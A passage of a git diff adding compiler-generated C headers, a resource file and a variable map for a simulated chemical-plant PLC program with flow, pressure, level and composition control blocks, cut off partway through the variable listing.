__SET_VAR(data__->,F1_VALVE_SP,,__GET_VAR(data__->MOVE99_OUT,)); + }; + __SET_VAR(data__->,MOVE4_OUT,,__MAIN_MOVE__UINT__UINT2( + (BOOL)__GET_VAR(data__->MOVE99_ENO,), + (UINT)0, + data__)); + if (__GET_VAR(data__->MOVE4_ENO,)) { + __SET_VAR(data__->,F2_VALVE_SP,,__GET_VAR(data__->MOVE4_OUT,)); + }; + __SET_VAR(data__->,MOVE5_OUT,,__MAIN_MOVE__UINT__UINT3( + (BOOL)__GET_VAR(data__->MOVE4_ENO,), + (UINT)65535, + data__)); + if (__GET_VAR(data__->MOVE5_ENO,)) { + __SET_VAR(data__->,PURGE_VALVE_SP,,__GET_VAR(data__->MOVE5_OUT,)); + }; + __SET_VAR(data__->,MOVE7_OUT,,__MAIN_MOVE__UINT__UINT4( + (BOOL)__GET_VAR(data__->MOVE5_ENO,), + (UINT)65535, + data__)); + if (__GET_VAR(data__->MOVE7_ENO,)) { + __SET_VAR(data__->,PRODUCT_VALVE_SP,,__GET_VAR(data__->MOVE7_OUT,)); + }; + + goto __end; + +__end: + return; +} // MAIN_body__() + + + + + diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/POUS.h b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/POUS.h new file mode 100644 index 0000000..d52a5d5 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/POUS.h @@ -0,0 +1,431 @@ +#include "beremiz.h" +#ifndef __POUS_H +#define __POUS_H + +#include "accessor.h" +#include "iec_std_lib.h" + +__DECLARE_ENUMERATED_TYPE(LOGLEVEL, + LOGLEVEL__CRITICAL, + LOGLEVEL__WARNING, + LOGLEVEL__INFO, + LOGLEVEL__DEBUG +) +// FUNCTION_BLOCK LOGGER +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,MSG) + __DECLARE_VAR(LOGLEVEL,LEVEL) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(BOOL,TRIG0) + +} LOGGER; + +void LOGGER_init__(LOGGER *data__, BOOL retain); +// Code part +void LOGGER_body__(LOGGER *data__); +// FUNCTION_BLOCK PYTHON_EVAL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,CODE) + __DECLARE_VAR(BOOL,ACK) + __DECLARE_VAR(STRING,RESULT) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(DWORD,STATE) + __DECLARE_VAR(STRING,BUFFER) + __DECLARE_VAR(STRING,PREBUFFER) + __DECLARE_VAR(BOOL,TRIGM1) + __DECLARE_VAR(BOOL,TRIGGED) + +} PYTHON_EVAL; + +void PYTHON_EVAL_init__(PYTHON_EVAL *data__, BOOL retain); +// Code part +void PYTHON_EVAL_body__(PYTHON_EVAL *data__); +// FUNCTION_BLOCK PYTHON_POLL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,CODE) + __DECLARE_VAR(BOOL,ACK) + __DECLARE_VAR(STRING,RESULT) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(DWORD,STATE) + __DECLARE_VAR(STRING,BUFFER) + __DECLARE_VAR(STRING,PREBUFFER) + __DECLARE_VAR(BOOL,TRIGM1) + __DECLARE_VAR(BOOL,TRIGGED) + +} PYTHON_POLL; + +void PYTHON_POLL_init__(PYTHON_POLL *data__, BOOL retain); +// Code part +void PYTHON_POLL_body__(PYTHON_POLL *data__); +// FUNCTION_BLOCK PYTHON_GEAR +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,N) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,CODE) + __DECLARE_VAR(BOOL,ACK) + __DECLARE_VAR(STRING,RESULT) + + // FB private variables - TEMP, private and located variables + PYTHON_EVAL PY_EVAL; + __DECLARE_VAR(UINT,COUNTER) + __DECLARE_VAR(UINT,ADD10_OUT) + __DECLARE_VAR(BOOL,EQ13_OUT) + __DECLARE_VAR(UINT,SEL15_OUT) + __DECLARE_VAR(BOOL,AND7_OUT) + +} PYTHON_GEAR; + +void PYTHON_GEAR_init__(PYTHON_GEAR *data__, BOOL retain); +// Code part +void PYTHON_GEAR_body__(PYTHON_GEAR *data__); +// FUNCTION_BLOCK SCALE_TO_REAL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,RAW_INPUT_VALUE) + __DECLARE_VAR(REAL,SCALED_REAL) + __DECLARE_VAR(REAL,REAL_MAX) + __DECLARE_VAR(REAL,REAL_MIN) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(UINT,RAW_MAX) + __DECLARE_VAR(UINT,RAW_MIN) + __DECLARE_VAR(REAL,RATE) + __DECLARE_VAR(REAL,OFFSET) + +} SCALE_TO_REAL; + +void SCALE_TO_REAL_init__(SCALE_TO_REAL *data__, BOOL retain); +// Code part +void SCALE_TO_REAL_body__(SCALE_TO_REAL *data__); +// FUNCTION_BLOCK SCALE_TO_UINT +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(REAL,REAL_IN) + __DECLARE_VAR(UINT,UINT_OUT) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,DIV1_OUT) + __DECLARE_VAR(REAL,MUL4_OUT) + __DECLARE_VAR(UINT,REAL_TO_UINT6_OUT) + +} SCALE_TO_UINT; + +void SCALE_TO_UINT_init__(SCALE_TO_UINT *data__, BOOL retain); +// Code part +void SCALE_TO_UINT_body__(SCALE_TO_UINT *data__); +// FUNCTION_BLOCK COMPOSITION_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,A_IN_PURGE) + __DECLARE_VAR(UINT,A_SETPOINT) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,NEW_POS) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,A_IN_PURGE_REAL) + __DECLARE_VAR(REAL,A_SETPOINT_REAL) + __DECLARE_VAR(REAL,VALVE_POS_REAL) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,VALVE_POS_NOMINAL) + __DECLARE_VAR(REAL,COMPOSITION_K) + __DECLARE_VAR(REAL,COMPOSITION_TI) + __DECLARE_VAR(TIME,CYCLE_TIME) + SCALE_TO_REAL SCALE_TO_REAL3; + SCALE_TO_REAL SCALE_TO_REAL2; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,COMP_MAX) + __DECLARE_VAR(REAL,COMP_MIN) + __DECLARE_VAR(REAL,POS_MAX) + __DECLARE_VAR(REAL,POS_MIN) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,SUB45_OUT) + __DECLARE_VAR(REAL,MUL46_OUT) + __DECLARE_VAR(REAL,ADD42_OUT) + __DECLARE_VAR(REAL,LIMIT44_OUT) + +} COMPOSITION_CONTROL; + +void COMPOSITION_CONTROL_init__(COMPOSITION_CONTROL *data__, BOOL retain); +// Code part +void COMPOSITION_CONTROL_body__(COMPOSITION_CONTROL *data__); +// FUNCTION_BLOCK INITIALIZE_SP +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,FLOW_SP) + __DECLARE_VAR(UINT,A_SP) + __DECLARE_VAR(UINT,PRESS_SP) + __DECLARE_VAR(UINT,OVER_SP) + __DECLARE_VAR(UINT,LEVEL_SP) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(UINT,FLOW_SP_C) + __DECLARE_VAR(UINT,A_SP_C) + __DECLARE_VAR(UINT,PRESS_SP_C) + __DECLARE_VAR(UINT,OVER_SP_C) + __DECLARE_VAR(UINT,LEVEL_SP_C) + __DECLARE_VAR(UINT,MOVE3_OUT) + __DECLARE_VAR(UINT,MOVE7_OUT) + __DECLARE_VAR(UINT,MOVE11_OUT) + __DECLARE_VAR(UINT,MOVE15_OUT) + __DECLARE_VAR(UINT,MOVE19_OUT) + +} INITIALIZE_SP; + +void INITIALIZE_SP_init__(INITIALIZE_SP *data__, BOOL retain); +// Code part +void INITIALIZE_SP_body__(INITIALIZE_SP *data__); +// FUNCTION_BLOCK PRESSURE_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,PRESSURE) + __DECLARE_VAR(UINT,PRESSURE_SP) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,VALVE_POS) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,PRESSURE_REAL) + __DECLARE_VAR(REAL,PRESSURE_SP_REAL) + __DECLARE_VAR(REAL,VALVE_POS_REAL) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,VALVE_POS_NOMINAL) + __DECLARE_VAR(REAL,PRESSURE_K) + __DECLARE_VAR(REAL,PRESSURE_TI) + __DECLARE_VAR(TIME,CYCLE_TIME) + SCALE_TO_REAL SCALE_TO_REAL5; + SCALE_TO_REAL SCALE_TO_REAL4; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,PRESSURE_MAX) + __DECLARE_VAR(REAL,PRESSURE_MIN) + __DECLARE_VAR(REAL,POS_MIN) + __DECLARE_VAR(REAL,POS_MAX) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,SUB57_OUT) + __DECLARE_VAR(REAL,MUL60_OUT) + __DECLARE_VAR(REAL,SUB53_OUT) + __DECLARE_VAR(REAL,LIMIT55_OUT) + +} PRESSURE_CONTROL; + +void PRESSURE_CONTROL_init__(PRESSURE_CONTROL *data__, BOOL retain); +// Code part +void PRESSURE_CONTROL_body__(PRESSURE_CONTROL *data__); +// FUNCTION_BLOCK FLOW_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,PRODUCT_FLOW) + __DECLARE_VAR(UINT,NEW_POS) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,FLOW_SET_IN) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,FLOW_K) + __DECLARE_VAR(REAL,FLOW_TI) + __DECLARE_VAR(REAL,FLOW_TD) + __DECLARE_VAR(REAL,PRODUCT_FLOW_REAL) + __DECLARE_VAR(TIME,CYCLE_TIME) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,CURR_POS_REAL) + __DECLARE_VAR(REAL,FLOW_SET_REAL) + SCALE_TO_REAL SCALE_TO_REAL0; + SCALE_TO_REAL SCALE_TO_REAL1; + __DECLARE_VAR(REAL,FLOW_MAX) + __DECLARE_VAR(REAL,FLOW_MIN) + __DECLARE_VAR(REAL,POS_MIN) + __DECLARE_VAR(REAL,POS_MAX) + SCALE_TO_REAL SCALE_TO_REAL2; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,SUB59_OUT) + __DECLARE_VAR(REAL,MUL60_OUT) + __DECLARE_VAR(REAL,ADD58_OUT) + __DECLARE_VAR(REAL,LIMIT40_OUT) + +} FLOW_CONTROL; + +void FLOW_CONTROL_init__(FLOW_CONTROL *data__, BOOL retain); +// Code part +void FLOW_CONTROL_body__(FLOW_CONTROL *data__); +// FUNCTION_BLOCK LEVEL_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,LIQUID_LEVEL) + __DECLARE_VAR(UINT,LEVEL_SP) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,NEW_POS) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(TIME,CYCLE_TIME) + __DECLARE_VAR(REAL,LEVEL_K) + __DECLARE_VAR(REAL,LEVEL_TI) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,LEVEL_MAX) + __DECLARE_VAR(REAL,LEVEL_MIN) + __DECLARE_VAR(REAL,POS_MAX) + __DECLARE_VAR(REAL,POS_MIN) + __DECLARE_VAR(REAL,LEVEL_REAL) + __DECLARE_VAR(REAL,POS_REAL) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,SP_REAL) + SCALE_TO_REAL SCALE_TO_REAL1; + SCALE_TO_REAL SCALE_TO_REAL2; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,SUB32_OUT) + __DECLARE_VAR(REAL,MUL33_OUT) + __DECLARE_VAR(REAL,SUB30_OUT) + __DECLARE_VAR(REAL,LIMIT25_OUT) + +} LEVEL_CONTROL; + +void LEVEL_CONTROL_init__(LEVEL_CONTROL *data__, BOOL retain); +// Code part +void LEVEL_CONTROL_body__(LEVEL_CONTROL *data__); +// FUNCTION_BLOCK PRESSURE_OVERRIDE +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,PRESSURE) + __DECLARE_VAR(UINT,CURR_SP) + __DECLARE_VAR(UINT,PRODUCT_SP) + __DECLARE_VAR(UINT,OVERRIDE_SP) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,PRESSURE_REAL) + __DECLARE_VAR(REAL,CURR_SP_REAL) + __DECLARE_VAR(REAL,PRODUCT_SP_REAL) + __DECLARE_VAR(REAL,SP_UPDATE) + __DECLARE_VAR(REAL,PRODUCT_SP_NOMINL) + __DECLARE_VAR(REAL,OVERRIDE_SP_REAL) + __DECLARE_VAR(REAL,OVERRIDE_K) + __DECLARE_VAR(REAL,OVERRIDE_TI) + __DECLARE_VAR(TIME,CYCLE_TIME) + SCALE_TO_REAL SCALE_TO_REAL7; + __DECLARE_VAR(REAL,PRESSURE_MAX) + __DECLARE_VAR(REAL,PRESSURE_MIN) + __DECLARE_VAR(REAL,FLOW_MAX) + __DECLARE_VAR(REAL,FLOW_MIN) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,SUB86_OUT) + __DECLARE_VAR(REAL,MUL87_OUT) + __DECLARE_VAR(REAL,MAX84_OUT) + __DECLARE_VAR(REAL,ADD85_OUT) + __DECLARE_VAR(REAL,LIMIT67_OUT) + __DECLARE_VAR(REAL,DIV73_OUT) + __DECLARE_VAR(REAL,MUL75_OUT) + __DECLARE_VAR(UINT,REAL_TO_UINT79_OUT) + +} PRESSURE_OVERRIDE; + +void PRESSURE_OVERRIDE_init__(PRESSURE_OVERRIDE *data__, BOOL retain); +// Code part +void PRESSURE_OVERRIDE_body__(PRESSURE_OVERRIDE *data__); +// PROGRAM MAIN +// Data part +typedef struct { + // PROGRAM Interface - IN, OUT, IN_OUT variables + + // PROGRAM private variables - TEMP, private and located variables + FLOW_CONTROL FLOW_CONTROL0; + __DECLARE_VAR(BOOL,FIRST_RUN) + __DECLARE_VAR(UINT,FLOW_SET) + __DECLARE_VAR(UINT,A_SETPOINT) + __DECLARE_VAR(UINT,PRESSURE_SP) + __DECLARE_VAR(UINT,OVERRIDE_SP) + __DECLARE_VAR(UINT,LEVEL_SP) + COMPOSITION_CONTROL COMPOSITION_CONTROL0; + __DECLARE_VAR(UINT,F1_VALVE_POS) + __DECLARE_VAR(UINT,F1_FLOW) + __DECLARE_VAR(UINT,F2_VALVE_POS) + __DECLARE_VAR(UINT,F2_FLOW) + __DECLARE_VAR(UINT,PURGE_VALVE_POS) + __DECLARE_VAR(UINT,PURGE_FLOW) + __DECLARE_VAR(UINT,PRODUCT_VALVE_POS) + __DECLARE_VAR(UINT,PRODUCT_FLOW) + __DECLARE_VAR(UINT,PRESSURE) + __DECLARE_VAR(UINT,LEVEL) + __DECLARE_VAR(UINT,A_IN_PURGE) + __DECLARE_VAR(UINT,B_IN_PURGE) + __DECLARE_VAR(UINT,C_IN_PURGE) + __DECLARE_VAR(UINT,F1_VALVE_SP) + __DECLARE_VAR(UINT,F2_VALVE_SP) + __DECLARE_VAR(UINT,PURGE_VALVE_SP) + __DECLARE_VAR(UINT,PRODUCT_VALVE_SP) + __DECLARE_VAR(UINT,PRODUCT_VALVE_SAFE) + __DECLARE_VAR(UINT,PURGE_VALVE_SAFE) + __DECLARE_VAR(UINT,F1_VALVE_SAFE) + __DECLARE_VAR(UINT,F2_VALVE_SAFE) + PRESSURE_CONTROL PRESSURE_CONTROL0; + __DECLARE_VAR(INT,HMI_PRESSURE) + __DECLARE_VAR(INT,HMI_LEVEL) + __DECLARE_VAR(INT,HMI_F1_VALVE_POS) + __DECLARE_VAR(INT,HMI_F1_FLOW) + __DECLARE_VAR(INT,HMI_F2_VALVE_POS) + __DECLARE_VAR(INT,HMI_F2_FLOW) + __DECLARE_VAR(INT,HMI_PURGE_VALVE_POS) + __DECLARE_VAR(INT,HMI_PURGE_FLOW) + __DECLARE_VAR(INT,HMI_PRODUCT_VALVE_POS) + __DECLARE_VAR(INT,HMI_PRODUCT_FLOW) + __DECLARE_VAR(UINT,SCAN_COUNT) + PRESSURE_OVERRIDE PRESSURE_OVERRIDE0; + LEVEL_CONTROL LEVEL_CONTROL0; + __DECLARE_VAR(BOOL,RUN_BIT) + __DECLARE_VAR(BOOL,RUN_BIT0) + INITIALIZE_SP INITIALIZE_SP0; + __DECLARE_VAR(BOOL,MOVE99_ENO) + __DECLARE_VAR(UINT,MOVE99_OUT) + __DECLARE_VAR(BOOL,MOVE4_ENO) + __DECLARE_VAR(UINT,MOVE4_OUT) + __DECLARE_VAR(BOOL,MOVE5_ENO) + __DECLARE_VAR(UINT,MOVE5_OUT) + __DECLARE_VAR(BOOL,MOVE7_ENO) + __DECLARE_VAR(UINT,MOVE7_OUT) + +} MAIN; + +void MAIN_init__(MAIN *data__, BOOL retain); +// Code part +void MAIN_body__(MAIN *data__); +#endif //__POUS_H diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Res0.c b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Res0.c new file mode 100644 index 0000000..eb32125 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Res0.c @@ -0,0 +1,37 @@ +/*******************************************/ +/* FILE GENERATED BY iec2c */ +/* Editing this file is not recommended... */ +/*******************************************/ + +#include "iec_std_lib.h" + +// RESOURCE RES0 + +extern unsigned long long common_ticktime__; + +#include "accessor.h" +#include "POUS.h" + +#include "Config0.h" + +#include "POUS.c" + +BOOL MAINTASK; +MAIN RES0__INSTANCE0; +#define INSTANCE0 RES0__INSTANCE0 + +void RES0_init__(void) { + BOOL retain; + retain = 0; + + MAINTASK = __BOOL_LITERAL(FALSE); + MAIN_init__(&INSTANCE0,retain); +} + +void RES0_run__(unsigned long tick) { + MAINTASK = !(tick % 1); + if (MAINTASK) { + MAIN_body__(&INSTANCE0); + } +} + diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Res0.o b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Res0.o new file mode 100644 index 0000000..5ceef8d --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/Res0.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/chemical/build/VARIABLES.csv b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/VARIABLES.csv new file mode 100644 index 0000000..ef0df68 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/chemical/build/VARIABLES.csv @@ -0,0 +1,380 @@ +// Programs +0;CONFIG0.RES0.INSTANCE0;MAIN; + +// Variables +0;FB;CONFIG0.RES0.INSTANCE0;CONFIG0.RES0.INSTANCE0;MAIN; +1;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0;FLOW_CONTROL; +2;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.EN;BOOL; +3;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.ENO;BOOL; +4;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_K;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_K;REAL; +5;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_TI;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_TI;REAL; +6;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_TD;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_TD;REAL; +7;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW;UINT; +8;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW_REAL;REAL; +9;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CYCLE_TIME;TIME; +10;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_UPDATE_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_UPDATE_REAL;REAL; +11;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CURR_POS_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CURR_POS_REAL;REAL; +12;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.NEW_POS;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.NEW_POS;UINT; +13;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CURR_POS;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CURR_POS;UINT; +14;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_SET_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_SET_REAL;REAL; +15;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_SET_IN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_SET_IN;UINT; +16;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0;SCALE_TO_REAL; +17;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.EN;BOOL; +18;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.ENO;BOOL; +19;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +20;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;REAL; +21;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MAX;REAL; +22;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MIN;REAL; +23;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MAX;UINT; +24;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MIN;UINT; +25;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RATE;REAL; +26;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.OFFSET;REAL; +27;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1;SCALE_TO_REAL; +28;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.EN;BOOL; +29;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.ENO;BOOL; +30;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE;UINT; +31;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.SCALED_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.SCALED_REAL;REAL; +32;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MAX;REAL; +33;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MIN;REAL; +34;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MAX;UINT; +35;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MIN;UINT; +36;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RATE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RATE;REAL; +37;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.OFFSET;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.OFFSET;REAL; +38;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_MAX;REAL; +39;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_MIN;REAL; +40;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_MIN;REAL; +41;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_MAX;REAL; +42;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2;SCALE_TO_REAL; +43;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.EN;BOOL; +44;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.ENO;BOOL; 